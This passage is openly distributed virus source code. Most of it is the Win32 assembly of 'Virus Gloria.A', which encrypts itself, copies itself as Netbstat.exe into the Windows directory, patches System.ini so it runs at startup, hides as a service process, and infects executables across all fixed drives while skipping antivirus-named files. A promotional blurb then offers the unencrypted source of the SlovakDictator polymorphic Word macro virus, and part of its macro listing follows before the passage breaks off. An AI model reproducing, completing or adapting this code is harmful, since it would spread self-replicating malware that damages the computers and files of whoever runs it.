sub eax,11h
ror eax,2
add eax,19h
rol eax,1
mov dword ptr [edi],eax
add edi,4
loop loop_encrypt

popad
ret

align_proc: xor edx,edx


div ecx
inc eax
mul ecx
ret
map_view: push ecx ; file size
push 0
push 0
push 2
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+MapViewOfFile]
ret
create_mapp: push 0
push eax ; file size
push 0
push 4
push 0
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CreateFileMappingA]
ret
unmap_file: push dword ptr [ebp+mem_addr]
call dword ptr [ebp+UnmapViewOfFile]
close_map_hnd: push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+CloseHandle]
close_cre_hnd: push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CloseHandle]
xor eax,eax
ret

;************************************************************
; *
; FROM LORD JULUS (c) *
; *
;************************************************************
GLORIA.ASM

my_GetProc:
pushad ;
mov ebx, eax ; save the kernel base
mov edi, eax ;
cmp word ptr [edi], 'ZM' ; is it an exe?
jne notfoundgpa ;
;
mov edi, dword ptr [edi.MZ_lfanew] ;
cmp edi, 1000h ;
jae notfoundgpa ;
;
add edi, ebx ;
cmp word ptr [edi], 'EP' ; is it a PE?
jne notfoundgpa ;
;
add edi, IMAGE_FILE_HEADER_SIZE ; skip file header
;
mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
add edi, ebx ; and get export RVA
;
mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names
; to look into
mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names
add esi, ebx ; align to base rva
;
push edi ; save pointer to export
;
gpa_locate_loop: ;
mov edi, [esi] ; get one name address
add edi, ebx ; and align it
;
push ecx esi ; save counter and addr.
;
mov esi, edx ; compare to GetProcAddress
mov ecx, getprocaddresslen ;
rep cmpsb ;
je foundgpa ;
;
pop esi ecx ; restore them
;
add esi, 4 ; and get next name
loop gpa_locate_loop ;
;
notfoundgpa: ; we didn't find it...
pop edi ;
popad ;
xor eax, eax ; mark failure
stc ;
ret ;
;
foundgpa: ;
pop esi ecx ; ecx = how many did we
pop edi ; check from total, but
sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder
neg ecx ; of the search
mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
add eax, ebx ;
shl ecx, 1 ; and look using the index
add eax, ecx ;
xor ecx, ecx ;
mov cx, word ptr [eax] ; take the ordinal
mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
GLORIA.ASM

add eax, ebx ;


shl ecx, 2 ; we look in a dword array
add eax, ecx ; go to the function addr
mov eax, [eax] ; take it's address
add eax, ebx ; and align it to k32 base
mov dr0, eax ; save it in dr0
popad ; restore all regs
mov eax, dr0 ; and mark success
clc ;
ret ;

check_install_net:

; Install Netbstat.exe in Windows directory and


; modify system.ini to execute at the next reboot.

pushad

call dword ptr [ebp+GetCommandLineA]


mov esi,eax
lea edi,[ebp+ofs cmd_line]
mov ecx,208h
rep movsb

lea esi,[ebp+ofs path_name]


push 260
push esi
call dword ptr [ebp+GetWindowsDirectoryA]

or eax,eax
jz file_in_use

lea edi,[ebp+ofs path_name@@]


mov ecx,260
rep movsb

lea esi,[ebp+ofs path_name@@]


_@13@: lodsb
or al,al
jnz _@13@

; insert "\",00h in the path

mov word ptr [esi-1],005Ch

; point edi for System.ini string

lea edi,[ebp+Netbstat]
xchg esi,edi

; And add to path

mov ecx,0Dh
rep movsb

lea esi,[ebp+ofs path_name]


_@1@@: lodsb
or al,al
jnz _@1@@

; insert "\",00h in the path


GLORIA.ASM

mov word ptr [esi-1],005Ch

; point edi for System.ini string

lea edi,[ebp+System_ini]
xchg esi,edi

; And add to path

mov ecx,0Bh
rep movsb

; Process our command Line

call dword ptr [ebp+GetCommandLineA]

inc eax
xor ecx,ecx
check_char: cmp byte ptr [eax],22h
je replace_char
inc ecx
inc eax
jmp check_char

replace_char: mov byte ptr [eax],00h


sub eax,ecx

mov esi,eax
lea edi,[ebp+ofs from_line]
mov ecx,260
rep movsb

; Try to overwrite our server if isn't running

xor ebx,ebx
push ebx
lea eax,[ebp+ofs path_name@@]
push eax
lea eax,[ebp+ofs from_line]
push eax
call dword ptr [ebp+CopyFileA]

or eax,eax
jz file_in_use

; server isn't installed

lea eax,[ebp+ ofs file_data]


push eax
lea eax,[ebp+ ofs path_name]
push eax
call dword ptr [ebp+FindFirstFileA]
mov dword ptr [ebp+handle_find],eax

cmp eax,-1
je file_in_use

; Save "System.ini" size

mov eax,dword ptr [ebp+ofs file_data.FileSizeLow]


mov dword ptr [ebp+new_file_size],eax
GLORIA.ASM

; open and map "System.ini"

call open_mapp
or eax,eax
jz clsfind

; Bigger than our buffer ?

cmp dword ptr [ebp+new_file_size],1000h


ja unmap_sys

; Look for "hell = Explorer.exe"

_@1: cmp dword ptr [eax],"lleh"


je _@2
inc eax
jmp _@1

; add string path "hell = Explorer.exe" to eax

_@2: add eax,11h

; If string = space, then System.ini


; is already infected

cmp byte ptr [eax],20h


je unmap_sys

; Save this address for later use

mov dword ptr [ebp+addr_sys],eax


mov esi,eax

; Copy System.ini to our buffer

lea edi,[ebp+section_space]
mov ecx,dword ptr [ebp+new_file_size]
rep movsb

mov edi,eax

; Point esi to our string

lea esi,[ebp+ofs Net_sign]


mov ecx,0Dh
rep movsb

; Unmap with old file size

call unmap
add dword ptr [ebp+new_file_size],0Dh

; And re-map with new

call open_mapp

; Don't forget to copy last bytes

mov edi,dword ptr [ebp+addr_sys]


add edi,0Dh
lea esi,[ebp+section_space]
mov ecx,dword ptr [ebp+new_file_size]
GLORIA.ASM

rep movsb

; Close search handle and unmap file

unmap_sys: call unmap


clsfind: push dword ptr [ebp+handle_find]
call dword ptr [ebp+FindClose]
file_in_use: call dword ptr [ebp+GetCommandLineA]
mov edi,eax
lea esi,[ebp+ofs cmd_line]
mov ecx,208h
rep movsb
popad
ret

reset_var: ; clear direction flag to avoid errors


; And copy old keys to return buffer

cld
lea esi,[ebp+ofs old_value_rva]
lea edi,[ebp+ofs new_value_rva]
movsd
movsd
ret

open_mapp: ; Open and Map file in memory. Returns eax = 0 on error or


; Mapped address if success

; Try don't show our encryption


; key putting many zeros in code

xor eax,eax
push eax
push eax
push 3
push eax
push 1
push 80000000h or 40000000h
lea eax,[ebp+ofs path_name]
push eax
call dword ptr [ebp+CreateFileA]

mov dword ptr [ebp+handle_new_file],eax


cmp eax,-1
je error_bef_create

xor eax,eax
push eax
push dword ptr [ebp+new_file_size] ; file size
push eax
push 4
push eax
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CreateFileMappingA]

mov dword ptr [ebp+handle_mapping],eax


or eax,eax
jz error_aft_create

xor eax,eax
push dword ptr [ebp+new_file_size] ; file size
GLORIA.ASM

push eax
push eax
push 2
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+MapViewOfFile]

mov dword ptr [ebp+mem_addr],eax


or eax,eax
jz close_bef_mappin
ret

unmap: push dword ptr [ebp+mem_addr]


call dword ptr [ebp+UnmapViewOfFile]
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+CloseHandle]

close_bef_mappin:
push dword ptr [ebp+handle_mapping]
call dword ptr [ebp+CloseHandle]

xor eax,eax
push eax
push eax
push dword ptr [ebp+offset new_file_size]
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+SetFilePointer]

push dword ptr [ebp+handle_new_file]


call dword ptr [ebp+SetEndOfFile]

error_aft_create:
push dword ptr [ebp+handle_new_file]
call dword ptr [ebp+CloseHandle]

error_bef_create:
xor eax,eax
ret

locate_api: ; retrieve api's from Kernel32.dll

lea esi,[ebp+ ofs api_name]


lea edi,[ebp+ ofs api_addr]

; push api name

locate_again: push esi


push dword ptr [ebp+ofs kernel32]
call dword ptr [ebp+GetProc]
or eax,eax
jz Gloria_exit
stosd

look_4_name: inc esi


cmp byte ptr [esi],00h
jne look_4_name
inc esi
cmp byte ptr [esi],0FFh
jne locate_again
ret

chk_fl_name: pushad
; Process file name
GLORIA.ASM

; avoid anti-virus infection

cmp edi,"DNAP" ; PAND*.*


je @7@@
cmp edi,"_SSC" ; CSS_*.*
je @7@@
cmp edi,"NACS" ; SCAN*.*
je @7@@
cmp di,"-F" ; F-*.*
je @7@@

; avoid to infect files with "V" in the name

xor al,al
mov al,"V"
mov ecx,0Ah
repne scasb
je @7@@

sub edi,0Ah

add al,20h
mov ecx,0Ah
repne scasb
je @7@@

popad
clc
ret
@7@@: popad
stc
ret

check_cod: pushad

mov esi,dword ptr [ebp+mem_addr]


xor al,al
mov al,byte ptr [esi+12h]

; check infectin mark

or al,al
jnz s@@2

; Windows application

cmp byte ptr [esi+18h],40h


jb s@@2

; clean file

mov edi,dword ptr [esi+3Ch]


mov dword ptr [ebp+peofs],edi

; ; avoid errors in files


; ; like Wininit.exe
;
; cmp edi,1000h
; jae s@@2

; check if is PE-exe
GLORIA.ASM

add edi,esi
mov ax,word ptr [edi]
cmp ax,"EP"
jne s@@2

; check if .petite section was found


; if yes, quit from infection

mov eax,"tep."
mov ecx,258h
repne scasd
je s@@2

popad
clc
ret
s@@2: popad
stc
ret

; Scan *.EXE files in directories and sub.


; Look for all fixed disks (A - Z)
; Register as a service process

net_mode: push 1
xor eax,eax
push eax
call dword ptr [ebp+RegisterServiceProcess]

; Wait one minute

push one_minute
call dword ptr [ebp+Sleep]

lea ebx,[ebp+ ofs drives]

; start with "A:\"

mov byte ptr [ebx],"A"

more_drives: lea ebx,[ebp+ ofs drives]


push ebx
call dword ptr [ebp+GetDriveTypeA]

cmp eax,3
jne inc_drives

lea eax,[ebp+ofs drives]


push eax
call dword ptr [ebp+SetCurrentDirectoryA]

; Find directories

call check__drv

push one_minute
call dword ptr [ebp+Sleep]

inc_drives: inc byte ptr [ebp+drives]

; No more drives ?
GLORIA.ASM

; Then start again

cmp byte ptr [ebp+drives],05Bh


jae net_mode

jmp more_drives

; Look for directories and infect ten


; files.

check__drv: lea eax,[ebp+ofs _barra]


push eax
call dword ptr [ebp+SetCurrentDirectoryA]

lea eax,[ebp+ ofs file_data]


push eax
lea eax,[ebp+ ofs stringdir]
push eax
call dword ptr [ebp+FindFirstFileA]
mov [ebp+handle_dir1],eax

inc eax
jz _check_ret
dec eax

; check directory attributes


; can be 10h,11h,12h or 13h

check_dir_ok: mov eax,dword ptr [ebp+file_data.FileAttributes]


mov ebx,10h
mov ecx,4
check_attr_dir: cmp eax,ebx
je attr_dir_ok
inc ebx
loop check_attr_dir

jmp find_a
attr_dir_ok: lea eax,[ebp+ofs file_data.FileName]
cmp byte ptr [eax],"."
je find_a

; copy directory to path

mov esi,eax
lea edi,[ebp+ofs path_name]
mov ecx,260
rep movsb

xor al,al
mov byte ptr [ebp+files_infect],al

; here path name is the same as


; directory name

; and infect ten files

call infect_one

; At this point path name is


; the directory plus file name
GLORIA.ASM

; or the string *.EXE,0

lea edi,[ebp+ofs path_name]


mov ecx,260
rep stosb

; find next directory

find_a: lea eax,[ebp+ ofs file_data]


push eax
push dword ptr [ebp+handle_dir1]
call dword ptr [ebp+FindNextFileA]
or eax,eax
jnz check_dir_ok

push dword ptr [ebp+handle_dir1]


call dword ptr [ebp+FindClose]

_check_ret: ret

Gloria_exit: or ebp,ebp
jz _saida

exit_nt: mov eax,[ebp+ofs new_value_rva]


add eax,[ebp+ofs new_imagebase]
lea ebx,[ebp+ofs jump + 4]
sub eax,ebx
mov dword ptr [ebp+jump],eax
popad
db 0E9h
jump dd 00h

old_value_rva dd 00h
old_imagebase dd 00h
new_value_rva dd 00h
new_imagebase dd 00h

db 0B8h ; Confuse disassembler


unknow_os: call reset_var
jmp short exit_nt

_saida: call MessageBoxA,0,ofs $,ofs $,1000h

popad

xor eax,eax
push eax
call ExitProcess

my_section db ".CODE",0,0,0
stringexe db "\*.EXE",0
stringdir db "*.*",0

drives db "A:\",00h

Net_sign db " Netbstat.exe"


System_ini db "System.ini",0
Netbstat db "Netbstat.exe",0
_barra db "\",0
kernel32 dd 12345678h
GLORIA.ASM

getprocaddress db "GetProcAddress", 0
getprocaddresslen = $-ofs getprocaddress

api_name:
xFindFirstFileA db "FindFirstFileA",0
xFindNextFileA db "FindNextFileA",0
xDeleteFileA db "DeleteFileA",0
xGetFileSize db "GetFileSize",0
xSetFileAttributesA db "SetFileAttributesA",0
xGetCurrentDirectoryA db "GetCurrentDirectoryA",0
xCreateFileMappingA db "CreateFileMappingA",0
xMapViewOfFile db "MapViewOfFile",00h
xUnmapViewOfFile db "UnmapViewOfFile",00h
xCreateFileA db "CreateFileA",00h
xWinExec db "WinExec",00h
xCloseHandle db "CloseHandle",00h
xFindClose db "FindClose",00h
xGetDriveTypeA db "GetDriveTypeA",00h
xCopyFileA db "CopyFileA",00h
xSleep db "Sleep",00h
xSetCurrentDirectoryA db "SetCurrentDirectoryA",00h
xGetWindowsDirectoryA db "GetWindowsDirectoryA",00h
xGetFileAttributes db "GetFileAttributesA",00h
xGetCommandLineA db "GetCommandLineA",00h
xRegisterServiceProcess db "RegisterServiceProcess",00h
xSetFilePointer db "SetFilePointer",00h
xSetEndOfFile db "SetEndOfFile",00h
db 0FFh

db " Virus Gloria.A "


db " For my sweet Gloria "
db " Brazil - 1999 "
db " (c) N.B.K. "

align 4

vir_size equ $ - Gloria


entry_fim equ $

path_name db 105h dup (00h) ; 261 bytes long


path_name@@ db 105h dup (00h) ; 261 bytes long
from_line db 208h dup (00h) ; 520 bytes long
file_data win32_find_data <?> ; 318 bytes long
handle_dir1 dd 00h
handle_dir2 dd 00h

handle_new_file dd 00h
handle_old_file dd 00h
handle_mapping dd 00h
handle_find dd 00h
new_file_size dd 00h
old_file_size dd 00h

mem_addr dd 00h
peofs dd 00h
tableofs dd 00h
lastsection dd 00h
GLORIA.ASM

junk_ofs dd 00h
addr_sys dd 00h
objalign dd 00h
filealign dd 00h

_real_ofs dd 00h
virtualsize dd 00h
physicalsize dd 00h
virus_entry dd 00h

files_infect db 00h
GetProc dd 00h
file_attr dd 00h
all_sec_size dd 00h

api_addr:

FindFirstFileA dd 00h
FindNextFileA dd 00h
DeleteFileA dd 00h
GetFileSize dd 00h
SetFileAttributesA dd 00h
GetCurrentDirectoryA dd 00h
CreateFileMappingA dd 00h
MapViewOfFile dd 00h
UnmapViewOfFile dd 00h
CreateFileA dd 00h
WinExec dd 00h
CloseHandle dd 00h
FindClose dd 00h
GetDriveTypeA dd 00h
CopyFileA dd 00h
Sleep dd 00h
SetCurrentDirectoryA dd 00h
GetWindowsDirectoryA dd 00h
GetFileAttributesA dd 00h
GetCommandLineA dd 00h
RegisterServiceProcess dd 00h
SetFilePointer dd 00h
SetEndOfFile dd 00h

section_space db 1000h dup (00h) ; place for sections


cmd_line db 208h dup (00h) ; place for command line

virtual_size_gl equ $ - Gloria


Gloria_end equ $

end Gloria
MY_OWN.INC

extrn MessageBoxA:proc
extrn ExitProcess:proc

one_minute equ 60000


virus_crypt equ (file_data - area_crypt)/4
ofs equ offset

.data
dummy db virus_crypt dup (00h)

filetime STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
filetime ENDS
win32_find_data STRUC
FileAttributes dd ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh dd ?
FileSizeLow dd ?
Reserved0 dd ?
Reserved1_ dd ?
FileName db 260 dup (?)
AlternateFileName db 14 dup (?)
win32_find_data ENDS

peheader_find_data STRUC
_pe dd 00h
_cpu dw 00h
_objects dw 00h
dd 3 dup (00h)
_nt dw 00h
dw 00h
dd 4 dup (00h)
_entry dd 00h
dd 2 dup (00h)
_image_base dd 00h
_obj_ln dd 00h
_file_ln dd 00h
dd 4 dup (00h)
_img_sz dd 00h
_header_sz dd 00h
db 168 dup (00h)
peheader_find_data ENDS

section_pe_file STRUC
_name_sec db 8 DUP (00h)
_virtual_sz dd 00h ; SH_VirtualSize
_RVA dd 00h ; SH_VirtualAddress
_physical_sz dd 00h ; SH_SizeOfRawData
_physical_off dd 00h ; SH_PointerToRawData
dd 3 dup (00h)
_obj_flags db 4 dup (00h)
section_pe_file ENDS

IMAGE_DOS_HEADER STRUC ; DOS .EXE header


MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MY_OWN.INC

MZ_minalloc DW ? ; Minimum extra paragraphs needed


MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP(?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for MZ_oeminfo)
MZ_oeminfo DW ? ; OEM information; MZ_oemid specific
MZ_res2 DW 10 DUP(?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS ;
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
;
IMAGE_FILE_HEADER STRUC ; Portable Exe File
PE_Magic DD ? ;
Machine DW ? ; Machine type
NumberOfSections DW ? ; Number of sections
TimeDateStamp DD ? ; Date and Time
PointerToSymbolTable DD ? ; Pointer to Symbols
NumberOfSymbols DD ? ; Number of Symbols
SizeOfOptionalHeader DW ? ; Size of Optional Header
Characteristics DW ? ; File characteristics
IMAGE_FILE_HEADER ENDS ;
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
;
IMAGE_DATA_DIRECTORY STRUC ; Image data directory
DD_VirtualAddress DD ? ; Virtual address
DD_Size DD ? ; Virtual size
IMAGE_DATA_DIRECTORY ENDS ;;;;;;;;;
;
IMAGE_DIRECTORY_ENTRIES STRUC ; All directories
DE_Export IMAGE_DATA_DIRECTORY ? ;
DE_Import IMAGE_DATA_DIRECTORY ? ;
DE_Resource IMAGE_DATA_DIRECTORY ? ;
DE_Exception IMAGE_DATA_DIRECTORY ? ;
DE_Security IMAGE_DATA_DIRECTORY ? ;
DE_BaseReloc IMAGE_DATA_DIRECTORY ? ;
DE_Debug IMAGE_DATA_DIRECTORY ? ;
DE_Copyright IMAGE_DATA_DIRECTORY ? ;
DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ;
DE_TLS IMAGE_DATA_DIRECTORY ? ;
DE_LoadConfig IMAGE_DATA_DIRECTORY ? ;
DE_BoundImport IMAGE_DATA_DIRECTORY ? ;
DE_IAT IMAGE_DATA_DIRECTORY ? ;
IMAGE_DIRECTORY_ENTRIES ENDS ;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 ;
;;;;;;;;;;;
IMAGE_OPTIONAL_HEADER STRUC ; Optional Header
OH_Magic DW ? ; Magic word
OH_MajorLinkerVersion DB ? ; Major Linker version
OH_MinorLinkerVersion DB ? ; Minor Linker version
OH_SizeOfCode DD ? ; Size of code section
OH_SizeOfInitializedData DD ? ; Initialized Data
OH_SizeOfUninitializedData DD ? ; Uninitialized Data
OH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIP
OH_BaseOfCode DD BYTE PTR ? ; Code Virtual Address
OH_BaseOfData DD BYTE PTR ? ; Data Virtual Address
OH_ImageBase DD BYTE PTR ? ; Base of image
MY_OWN.INC

OH_SectionAlignment DD ? ; Section Alignment


OH_FileAlignment DD ? ; File Alignment
OH_MajorOperatingSystemVersion DW ? ; Major OS
OH_MinorOperatingSystemVersion DW ? ; Minor OS
OH_MajorImageVersion DW ? ; Major Image version
OH_MinorImageVersion DW ? ; Minor Image version
OH_MajorSubsystemVersion DW ? ; Major Subsys version
OH_MinorSubsystemVersion DW ? ; Minor Subsys version
OH_Win32VersionValue DD ? ; win32 version
OH_SizeOfImage DD ? ; Size of image
OH_SizeOfHeaders DD ? ; Size of Header
OH_CheckSum DD ? ; unused
OH_Subsystem DW ? ; Subsystem
OH_DllCharacteristics DW ? ; DLL characteristic
OH_SizeOfStackReserve DD ? ; Stack reserve
OH_SizeOfStackCommit DD ? ; Stack commit
OH_SizeOfHeapReserve DD ? ; Heap reserve
OH_SizeOfHeapCommit DD ? ; Heap commit
OH_LoaderFlags DD ? ; Loader flags
OH_NumberOfRvaAndSizes DD ? ; Number of directories
UNION ; directory entries
OH_DataDirectory IMAGE_DATA_DIRECTORY\
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS ;
IMAGE_OPTIONAL_HEADER ENDS ;
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
;
IMAGE_SECTION_HEADER STRUC ; Section hdr.
SH_Name DB 8 DUP(?) ; name
UNION ;
SH_PhysicalAddress DD BYTE PTR ? ; Physical address
SH_VirtualSize DD ? ; Virtual size
ENDS ;
SH_VirtualAddress DD BYTE PTR ? ; Virtual address
SH_SizeOfRawData DD ? ; Raw data size
SH_PointerToRawData DD BYTE PTR ? ; pointer to raw data
SH_PointerToRelocations DD BYTE PTR ? ; ...
SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really used
SH_NumberOfRelocations DW ? ; ....
SH_NumberOfLinenumbers DW ? ; ..
SH_Characteristics DD ? ; flags
IMAGE_SECTION_HEADER ENDS ;
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
;
;IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type
;IBN_Hint DW 0 ; Hint entry
;IBN_Name DB 1 DUP (?) ; name
;IMAGE_IMPORT_BY_NAME ENDS ;
; ;
;IMAGE_THUNK_DATA STRUC ; Thunk data
; UNION ;
;TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure
;TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG
;TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address after
program load)
;TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
; ENDS ;
;IMAGE_THUNK_DATA ENDS ;;;;;;;;;
; ;
;IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor
; UNION ;
MY_OWN.INC

;ID_Characteristics DD ? ; 0 for last null import descriptor


;ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
; ENDS ;
;ID_TimeDateStamp DD ? ;
;ID_ForwarderChain DD ? ; -1 if no forwarders
;ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
;ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT
;IMAGE_IMPORT_DESCRIPTOR ENDS ;
;IMAGE_IMPORT_DESCRIPTOR_SIZE = SIZE IMAGE_IMPORT_DESCRIPTOR
;
IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory type
ED_Characteristics DD ? ; Flags
ED_TimeDateStamp DD ? ; Date / Time
ED_MajorVersion DW ? ; Major version
ED_MinorVersion DW ? ; Minor version
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
UNION ;
ED_Base DD ? ; base
ED_BaseOrdinal DD ? ; base ordinal
ENDS ;
ED_NumberOfFunctions DD ? ; number of exported funcs.
UNION ;
ED_NumberOfNames DD ? ; number of exported names
ED_NumberOfOrdinals DD ? ; number of exported ordinals
ENDS ;
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
UNION ;
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinals
ED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals
ENDS ;
IMAGE_EXPORT_DIRECTORY ENDS ;

.code
SlovakDictator was first of the real polymorphic macro viruses. According that it was written in days when
nobody (mostly avers :-) believed there is no polymorphism possible it is really "hard" polymorphic. While
reproducing each variable is substituted with random generated string, that makes look of this virii very
strange. To get even more strange, instead of using numerical constants this virii uses variables set to
specified value. Virii is based on two pass replication. After AutoClose is executed creates a special macro
with random name. Its code is decoded from array stored in macro. This macro is executed and replicate
(and mutate) itself to template or document. Because of this process is quite complex this virii is really slow.
This is the reason of it's name.

As far as we know this is the first release of unencrypted source. We are glad we can introduce it to you. So
enjoy.

Download source code of SlovakDictator (A and B variants) here


SLOW_A.MAC

List Word Macros version 1.10


File: DICT8R_S.DOT
Total macros: 8
==============================================================================
Macro name: StarterDEBUG [STARTERDEBUG] "U"
Description: Vlozi zdrojove riadky zakryptovanej casti makra na poziciu kurzora - pre DEBUG
verziu

------------------------------------------------------------------------------
Sub MAIN
ToolsMacro .Name = "SlovakDictatorRESOURCEdebug", .Show = 0, .Edit
BigString$ = GetText$(0, 100000)
DocClose 2
j = 1
i = 0
looop:
Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$(34)
loop2:
char$ = Mid$(BigString$, j, 1)
j = j + 1
If char$ = Chr$(13) Then Goto skip1
If char$ = Chr$(9) Then Goto loop2
If char$ = Chr$(34) Then Insert "@@" : Goto loop2
Insert char$
Goto loop2
skip1:
Insert Chr$(34)
InsertPara
i = i + 1
If j < Len(BigString$) Then Goto looop
End Sub
==============================================================================
Macro name: StarterFINAL [STARTERFINAL] "U"
Description: Vlozi zdrojove riadky zakryptovanej casti makra na poziciu kurzora - pre FINAL
verziu
------------------------------------------------------------------------------
Sub MAIN
ToolsMacro .Name = "SlovakDictatorRESOURCEfinal", .Show = 0, .Edit
BigString$ = GetText$(0, 100000)
DocClose 2
j = 1
i = 0
looop:
Insert "SourceLinesTable$(" + Str$(i) + ")=" + Chr$(34)
loop2:
char$ = Mid$(BigString$, j, 1)
j = j + 1
If char$ = Chr$(13) Then Goto skip1
If char$ = Chr$(9) Then Goto loop2
If char$ = Chr$(34) Then Insert "@@" : Goto loop2
Insert char$
Goto loop2
skip1:
Insert Chr$(34)
InsertPara
i = i + 1
If j < Len(BigString$) Then Goto looop
End Sub
==============================================================================
Macro name: EncryptAutoClose [ENCRYPTAUTOCLOSE] "U"
------------------------------------------------------------------------------
Sub MAIN
SLOW_A.MAC

On Error Goto BUG


MacroCopy "global:AutoClose", "global:AutoCloseEncrypted", 1
Goto FINISH

BUG:
MsgBox "Chyba pri vytvarani kryptovaneho makra", "BIG BUG OCCURED !", 48

FINISH:
End Sub
==============================================================================
Macro name: SlovakDictatorGEN1debug [SLOVAKDICTATORGEN1DEBUG] "U"
Description: Finalna verzia WordMacro.SlovakDictator
s DEBUG infom - 1. generacia
------------------------------------------------------------------------------
Dim Shared FixedConstant_0
Dim Shared FixedConstant_1
Dim Shared FixedConstant_2
Dim Shared FixedConstant_7
Dim Shared FixedConstant_10
Dim Shared FixedConstant_20
Dim Shared FixedConstant_22
Dim Shared FixedConstant_65
Dim Shared Uvodzovky
Dim Shared Zavinac
Dim Shared CryptConstant
Dim Shared SourceLinesTable$(200)
Dim Shared HiddenIntroLen
Dim Shared HiddenStart
Dim Shared HiddenLines
Dim Shared PolymorphNamesTable$(31)
Dim Shared PolyNames

Sub MAIN
FixedConstant_0 = 0
FixedConstant_1 = 1
FixedConstant_2 = 2
FixedConstant_7 = 7
FixedConstant_10 = 10
FixedConstant_20 = 20
FixedConstant_22 = 22
FixedConstant_65 = 65
Uvodzovky = 34
Zavinac = 64
HiddenIntroLen = 37
HiddenStart = 120
HiddenLines = 178
PolyNames = 31
On Error Goto ErrorHandler
WordVersion$ = AppInfo$(FixedConstant_2)
WordVer = Val(Left$(WordVersion$, FixedConstant_1))
If WordVer <> FixedConstant_7 Then Goto ErrorHandler

CryptConstant = 0
'//// SourceLinesTable - zakryptovane makro
SourceLinesTable$(0) = "Dim Shared FixedConstant_0"
SourceLinesTable$(1) = "Dim Shared FixedConstant_1"
SourceLinesTable$(2) = "Dim Shared FixedConstant_2"
SourceLinesTable$(3) = "Dim Shared FixedConstant_7"
SourceLinesTable$(4) = "Dim Shared FixedConstant_10"
SourceLinesTable$(5) = "Dim Shared FixedConstant_20"
SourceLinesTable$(6) = "Dim Shared FixedConstant_22"
SourceLinesTable$(7) = "Dim Shared FixedConstant_65"
SLOW_A.MAC

SourceLinesTable$(8) = "Dim Shared Uvodzovky"


SourceLinesTable$(9) = "Dim Shared Zavinac"
SourceLinesTable$(10) = "Dim Shared CryptConstant"
SourceLinesTable$(11) = "Dim Shared SourceLinesTable$(200)"
SourceLinesTable$(12) = "Dim Shared HiddenIntroLen"
SourceLinesTable$(13) = "Dim Shared HiddenStart"
SourceLinesTable$(14) = "Dim Shared HiddenLines"
SourceLinesTable$(15) = "Dim Shared PolymorphNamesTable$(31)"
SourceLinesTable$(16) = "Dim Shared PolyNames"
SourceLinesTable$(17) = ""
SourceLinesTable$(18) = "Sub MAIN"
SourceLinesTable$(19) = "FixedConstant_0 = 0"
SourceLinesTable$(20) = "FixedConstant_1 = 1"
SourceLinesTable$(21) = "FixedConstant_2 = 2"
SourceLinesTable$(22) = "FixedConstant_7 = 7"
SourceLinesTable$(23) = "FixedConstant_10 = 10"
SourceLinesTable$(24) = "FixedConstant_20 = 20"
SourceLinesTable$(25) = "FixedConstant_22 = 22"
SourceLinesTable$(26) = "FixedConstant_65 = 65"
SourceLinesTable$(27) = "Uvodzovky = 34"
SourceLinesTable$(28) = "Zavinac = 64"
SourceLinesTable$(29) = "HiddenIntroLen = 37"
SourceLinesTable$(30) = "HiddenStart = 120"
SourceLinesTable$(31) = "HiddenLines = 178"
SourceLinesTable$(32) = "PolyNames = 31"
SourceLinesTable$(33) = "On Error Goto ErrorHandler"
